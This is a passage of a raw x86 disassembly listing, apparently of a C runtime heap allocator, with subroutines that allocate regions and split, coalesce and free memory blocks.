dword_4DD378 cmp eax, dword_4DD374 jbe short loc_41EA4E sub [ebp+arg_0], 14h loc_41EA4E: ; CODE XREF: sub_41E742+306j mov eax, dword_4DD37C mov dword_4DD370, eax loc_41EA58: ; CODE XREF: sub_41E742+234j ; sub_41E742+2ABj mov eax, [ebp+arg_0] mov dword_4DD36C, edi mov dword_4DD374, eax loc_41EA66: ; CODE XREF: sub_41E742+38j ; sub_41E742+227j pop edi pop esi pop ebx leave retn sub_41E742 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EA6B proc near ; CODE XREF: sub_41BBE2+77p ; sub_41BEF3+18p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4DD378 mov edx, dword_4DD37C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41EAAB or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41EABB ; --------------------------------------------------------------------------- loc_41EAAB: ; CODE XREF: sub_41EA6B+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41EABB: ; CODE XREF: sub_41EA6B+3Ej mov eax, dword_4DD370 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41EAE2 loc_41EAC9: ; CODE XREF: sub_41EA6B+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41EAE2 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41EAC9 loc_41EAE2: ; CODE XREF: sub_41EA6B+5Cj ; sub_41EA6B+6Aj cmp ebx, [ebp+var_4] jnz short loc_41EB60 mov ebx, edx loc_41EAE9: ; CODE XREF: sub_41EA6B+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41EB05 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41EB03 add ebx, 14h jmp short loc_41EAE9 ; --------------------------------------------------------------------------- loc_41EB03: ; CODE XREF: sub_41EA6B+91j cmp ebx, eax loc_41EB05: ; CODE XREF: sub_41EA6B+83j jnz short loc_41EB60 loc_41EB07: ; CODE XREF: sub_41EA6B+ADj cmp ebx, [ebp+var_4] jnb short loc_41EB1D cmp dword ptr [ebx+8], 0 jnz short loc_41EB1A add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41EB07 ; --------------------------------------------------------------------------- loc_41EB1A: ; CODE XREF: sub_41EA6B+A5j cmp ebx, [ebp+var_4] loc_41EB1D: ; CODE XREF: sub_41EA6B+9Fj jnz short loc_41EB45 mov ebx, edx loc_41EB21: ; CODE XREF: sub_41EA6B+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41EB35 cmp dword ptr [ebx+8], 0 jnz short loc_41EB33 add ebx, 14h jmp short loc_41EB21 ; --------------------------------------------------------------------------- loc_41EB33: ; CODE XREF: sub_41EA6B+C1j cmp ebx, eax loc_41EB35: ; CODE XREF: sub_41EA6B+BBj jnz short loc_41EB45 call sub_41ED74 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41EB59 loc_41EB45: ; CODE XREF: sub_41EA6B:loc_41EB1Dj ; sub_41EA6B:loc_41EB35j push ebx call sub_41EE25 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41EB60 loc_41EB59: ; CODE XREF: sub_41EA6B+D8j xor eax, eax jmp loc_41ED6F ; --------------------------------------------------------------------------- loc_41EB60: ; CODE XREF: sub_41EA6B+7Aj ; sub_41EA6B:loc_41EB05j ... mov dword_4DD370, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41EB87 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41EBBE loc_41EB87: ; CODE XREF: sub_41EA6B+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41EBBB loc_41EBA4: ; CODE XREF: sub_41EA6B+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41EBA4 loc_41EBBB: ; CODE XREF: sub_41EA6B+137j mov edx, [ebp+var_4] loc_41EBBE: ; CODE XREF: sub_41EA6B+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41EBE7 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41EBE7: ; CODE XREF: sub_41EA6B+16Dj ; sub_41EA6B+183j test ecx, ecx jl short loc_41EBF0 shl ecx, 1 inc edi jmp short loc_41EBE7 ; --------------------------------------------------------------------------- loc_41EBF0: ; CODE XREF: sub_41EA6B+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41EC0D push 3Fh pop esi loc_41EC0D: ; CODE XREF: sub_41EA6B+19Dj cmp esi, edi jz loc_41ED22 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41EC7E cmp edi, 20h jge short loc_41EC4D mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41EC7B mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41EC7E ; --------------------------------------------------------------------------- loc_41EC4D: ; CODE XREF: sub_41EA6B+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41EC7B mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41EC7E ; --------------------------------------------------------------------------- loc_41EC7B: ; CODE XREF: sub_41EA6B+1D6j ; sub_41EA6B+203j mov ebx, [ebp+arg_0] loc_41EC7E: ; CODE XREF: sub_41EA6B+1B0j ; sub_41EA6B+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41ED2E mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41ED1F mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41ECF0 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41ECDE mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41ECDE: ; CODE XREF: sub_41EA6B+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41ED1F ; --------------------------------------------------------------------------- loc_41ECF0: ; CODE XREF: sub_41EA6B+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41ED09 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41ED09: ; CODE XREF: sub_41EA6B+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41ED1F: ; CODE XREF: sub_41EA6B+24Ej ; sub_41EA6B+283j mov ecx, [ebp+var_8] loc_41ED22: ; CODE XREF: sub_41EA6B+1A4j test ecx, ecx jz short loc_41ED31 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41ED31 ; --------------------------------------------------------------------------- loc_41ED2E: ; CODE XREF: sub_41EA6B+229j mov ecx, [ebp+var_8] loc_41ED31: ; CODE XREF: sub_41EA6B+2B9j ; sub_41EA6B+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41ED67 cmp ebx, dword_4DD374 jnz short loc_41ED67 mov ecx, [ebp+var_4] cmp ecx, dword_4DD36C jnz short loc_41ED67 and dword_4DD374, 0 loc_41ED67: ; CODE XREF: sub_41EA6B+2E0j ; sub_41EA6B+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41ED6F: ; CODE XREF: sub_41EA6B+F0j pop edi pop esi pop ebx leave retn sub_41EA6B endp ; =============== S U B R O U T I N E ======================================= sub_41ED74 proc near ; CODE XREF: sub_41EA6B+CCp mov eax, dword_4DD378 mov ecx, dword_4DD368 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41EDB7 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4DD37C push edi push dword_4DD384 nop call near ptr 2870000h cmp eax, edi jz short loc_41EE07 add dword_4DD368, 10h mov dword_4DD37C, eax mov eax, dword_4DD378 loc_41EDB7: ; CODE XREF: sub_41ED74+11j mov ecx, dword_4DD37C push 41C4h push 8 lea eax, [eax+eax*4] push dword_4DD384 lea esi, [ecx+eax*4] nop call near ptr 27E0000h cmp eax, edi mov [esi+10h], eax jz short loc_41EE07 push 4 push 2000h push 100000h push edi nop call near ptr 2670443h cmp eax, edi mov [esi+0Ch], eax jnz short loc_41EE0B push dword ptr [esi+10h] push edi push dword_4DD384 nop call near ptr 27D0000h loc_41EE07: ; CODE XREF: sub_41ED74+30j ; sub_41ED74+67j xor eax, eax jmp short loc_41EE22 ; --------------------------------------------------------------------------- loc_41EE0B: ; CODE XREF: sub_41ED74+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4DD378 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41EE22: ; CODE XREF: sub_41ED74+95j pop edi pop esi retn sub_41ED74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE25 proc near ; CODE XREF: sub_41EA6B+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41EE37: ; CODE XREF: sub_41EE25+19j test eax, eax jl short loc_41EE40 shl eax, 1 inc ebx jmp short loc_41EE37 ; --------------------------------------------------------------------------- loc_41EE40: ; CODE XREF: sub_41EE25+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41EE55: ; CODE XREF: sub_41EE25+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41EE55 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call near ptr 2670443h nop test eax, eax jnz short loc_41EE88 or eax, 0FFFFFFFFh jmp loc_41EF1B ; --------------------------------------------------------------------------- loc_41EE88: ; CODE XREF: sub_41EE25+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41EECE lea eax, [edi+10h] loc_41EE95: ; CODE XREF: sub_41EE25+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41EE95 loc_41EECE: ; CODE XREF: sub_41EE25+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41EF0B or [eax+4], edi loc_41EF0B: ; CODE XREF: sub_41EE25+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41EF1B: ; CODE XREF: sub_41EE25+5Ej pop edi pop esi pop ebx leave retn sub_41EE25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EF20 proc near ; CODE XREF: sub_41BBE2+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41F0CE test bl, 1 jnz loc_41F0C7 add ebx, ecx cmp esi, ebx jg loc_41F0C7 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41EF97 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41EF97: ; CODE XREF: sub_41EF20+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41EFE7 cmp ecx, 20h jnb short loc_41EFC3 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41EFE7 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41EFE7 ; --------------------------------------------------------------------------- loc_41EFC3: ; CODE XREF: sub_41EF20+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41EFE7 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41EFE7: ; CODE XREF: sub_41EF20+7Dj ; sub_41EF20+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41F0B5 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41F021 push 3Fh pop edi loc_41F021: ; CODE XREF: sub_41EF20+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41F0A3 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41F07A cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41F06D mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41F06D: ; CODE XREF: sub_41EF20+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41F09F ; --------------------------------------------------------------------------- loc_41F07A: ; CODE XREF: sub_41EF20+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41F090 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41F090: ; CODE XREF: sub_41EF20+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41F09F: ; CODE XREF: sub_41EF20+158j shr edx, cl or [eax], edx loc_41F0A3: ; CODE XREF: sub_41EF20+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41F0B8 ; --------------------------------------------------------------------------- loc_41F0B5: ; CODE XREF: sub_41EF20+E5j mov edx, [ebp+arg_4] loc_41F0B8: ; CODE XREF: sub_41EF20+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41F20E ; --------------------------------------------------------------------------- loc_41F0C7: ; CODE XREF: sub_41EF20+52j ; sub_41EF20+5Cj xor eax, eax jmp loc_41F211 ; --------------------------------------------------------------------------- loc_41F0CE: ; CODE XREF: sub_41EF20+49j jge loc_41F20E mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41F0F9 push 3Fh pop esi loc_41F0F9: ; CODE XREF: sub_41EF20+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41F188 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41F112 push 3Fh pop esi loc_41F112: ; CODE XREF: sub_41EF20+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41F161 cmp esi, 20h jnb short loc_41F13D mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41F15E mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41F15E ; --------------------------------------------------------------------------- loc_41F13D: ; CODE XREF: sub_41EF20+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41F15E mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41F15E: ; CODE XREF: sub_41EF20+214j ; sub_41EF20+21Bj ... mov ebx, [ebp+arg_4] loc_41F161: ; CODE XREF: sub_41EF20+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41F188 push 3Fh pop esi loc_41F188: ; CODE XREF: sub_41EF20+1DDj ; sub_41EF20+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41F205 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41F1DC cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41F1CF mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41F1CF: ; CODE XREF: sub_41EF20+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41F201 ; --------------------------------------------------------------------------- loc_41F1DC: ; CODE XREF: sub_41EF20+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41F1F2 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41F1F2: ; CODE XREF: sub_41EF20+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41F201: ; CODE XREF: sub_41EF20+2BAj shr edx, cl or [eax], edx loc_41F205: ; CODE XREF: sub_41EF20+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41F20E: ; CODE XREF: sub_41EF20+1A2j ; sub_41EF20:loc_41F0CEj push 1 pop eax loc_41F211: ; CODE XREF: sub_41EF20+1A9j pop edi pop esi pop ebx leave retn sub_41EF20 endp ; =============== S U B R O U T I N E ======================================= sub_41F216 proc near ; CODE XREF: sub_41F50E:loc_41F6DDp cmp dword_43AE60, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41F22A mov esi, offset off_43AE50 jmp short loc_41F247 ; --------------------------------------------------------------------------- loc_41F22A: ; CODE XREF: sub_41F216+Bj push 2020h push 0 push dword_4DD384 nop call near ptr 27E0000h mov esi, eax test esi, esi jz loc_41F353 loc_41F247: ; CODE XREF: sub_41F216+12j mov ebp, dword_427064 push 4 push 2000h push 400000h push 0 call ebp mov edi, eax test edi, edi jz loc_41F33C push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp test eax, eax jz loc_41F32E mov eax, offset off_43AE50 cmp esi, eax jnz short loc_41F2A6 cmp off_43AE50, 0 jnz short loc_41F296 mov off_43AE50, eax loc_41F296: ; CODE XREF: sub_41F216+79j cmp off_43AE54, 0 jnz short loc_41F2BB mov off_43AE54, eax jmp short loc_41F2BB ; --------------------------------------------------------------------------- loc_41F2A6: ; CODE XREF: sub_41F216+70j mov [esi], eax mov eax, off_43AE54 mov [esi+4], eax mov off_43AE54, esi mov eax, [esi+4] mov [eax], esi loc_41F2BB: ; CODE XREF: sub_41F216+87j ; sub_41F216+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41F2DD: ; CODE XREF: sub_41F216+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41F2DD push ebx push 0 push edi call sub_41BF70 add esp, 0Ch loc_41F306: ; CODE XREF: sub_41F216+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41F32A or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41F306 ; --------------------------------------------------------------------------- loc_41F32A: ; CODE XREF: sub_41F216+F7j mov eax, esi jmp short loc_41F355 ; --------------------------------------------------------------------------- loc_41F32E: ; CODE XREF: sub_41F216+63j push 8000h push 0 push edi call near ptr 26705B4h nop loc_41F33C: ; CODE XREF: sub_41F216+4Bj cmp esi, offset off_43AE50 jz short loc_41F353 push esi push 0 push dword_4DD384 nop call near ptr 27D0000h loc_41F353: ; CODE XREF: sub_41F216+2Bj ; sub_41F216+12Cj xor eax, eax loc_41F355: ; CODE XREF: sub_41F216+116j pop edi pop esi pop ebp pop ebx retn sub_41F216 endp ; =============== S U B R O U T I N E ======================================= sub_41F35A proc near ; CODE XREF: sub_41F3B0+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] call near ptr 26705B4h nop cmp off_43CE70, esi jnz short loc_41F37F mov eax, [esi+4] mov off_43CE70, eax loc_41F37F: ; CODE XREF: sub_41F35A+1Bj cmp esi, offset off_43AE50 jz short loc_41F3A7 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4DD384 nop call near ptr 27D0000h pop esi retn ; --------------------------------------------------------------------------- loc_41F3A7: ; CODE XREF: sub_41F35A+2Bj or dword_43AE60, 0FFFFFFFFh pop esi retn sub_41F35A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F3B0 proc near ; CODE XREF: sub_41F4C9+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_43AE54 push edi loc_41F3BD: ; CODE XREF: sub_41F3B0+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41F45B and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41F3D6: ; CODE XREF: sub_41F3B0+72j cmp dword ptr [edi], 0F0h jnz short loc_41F417 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax nop call near ptr 26705B4h test eax, eax jz short loc_41F417 or dword ptr [edi], 0FFFFFFFFh dec dword_4DBE40 mov eax, [esi+0Ch] test eax, eax jz short loc_41F40C cmp eax, edi jbe short loc_41F40F loc_41F40C: ; CODE XREF: sub_41F3B0+56j mov [esi+0Ch], edi loc_41F40F: ; CODE XREF: sub_41F3B0+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41F424 loc_41F417: ; CODE XREF: sub_41F3B0+2Cj ; sub_41F3B0+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41F3D6 loc_41F424: ; CODE XREF: sub_41F3B0+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41F45B cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41F45B push 1 lea eax, [ecx+20h] pop edx loc_41F43B: ; CODE XREF: sub_41F3B0+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41F44C inc edx add eax, 8 cmp edx, 400h jl short loc_41F43B loc_41F44C: ; CODE XREF: sub_41F3B0+8Ej cmp edx, 400h jnz short loc_41F45B push ecx call sub_41F35A pop ecx loc_41F45B: ; CODE XREF: sub_41F3B0+11j ; sub_41F3B0+7Dj ... cmp esi, off_43AE54 jz short loc_41F46D cmp [ebp+arg_0], 0 jg loc_41F3BD loc_41F46D: ; CODE XREF: sub_41F3B0+B1j pop edi pop esi pop ebx leave retn sub_41F3B0 endp ; =============== S U B R O U T I N E ======================================= sub_41F472 proc near ; CODE XREF: sub_41BA91+3Ap ; sub_41BBE2+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_43AE50 push esi mov ecx, edx loc_41F47E: ; CODE XREF: sub_41F472+1Cj cmp eax, [ecx+10h] jbe short loc_41F488 cmp eax, [ecx+14h] jb short loc_41F490 loc_41F488: ; CODE XREF: sub_41F472+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41F4C5 jmp short loc_41F47E ; --------------------------------------------------------------------------- loc_41F490: ; CODE XREF: sub_41F472+14j test al, 0Fh jnz short loc_41F4C5 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41F4C5 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41F4C5: ; CODE XREF: sub_41F472+1Aj ; sub_41F472+20j ... xor eax, eax pop esi retn sub_41F472 endp ; =============== S U B R O U T I N E ======================================= sub_41F4C9 proc near ; CODE XREF: sub_41BA91+4Dp ; sub_41BBE2+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41F50D inc dword_4DBE40 cmp dword_4DBE40, 20h jnz short locret_41F50D push 10h call sub_41F3B0 pop ecx locret_41F50D: ; CODE XREF: sub_41F4C9+2Bj ; sub_41F4C9+3Aj retn sub_41F4C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F50E proc near ; CODE XREF: sub_41BBE2+1ACp ; sub_41BEF3+4Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43CE70 push edi loc_41F51C: ; CODE XREF: sub_41F50E+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41F5C7 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41F581 loc_41F547: ; CODE XREF: sub_41F50E+6Fj mov ecx, [edi] mov ebx, 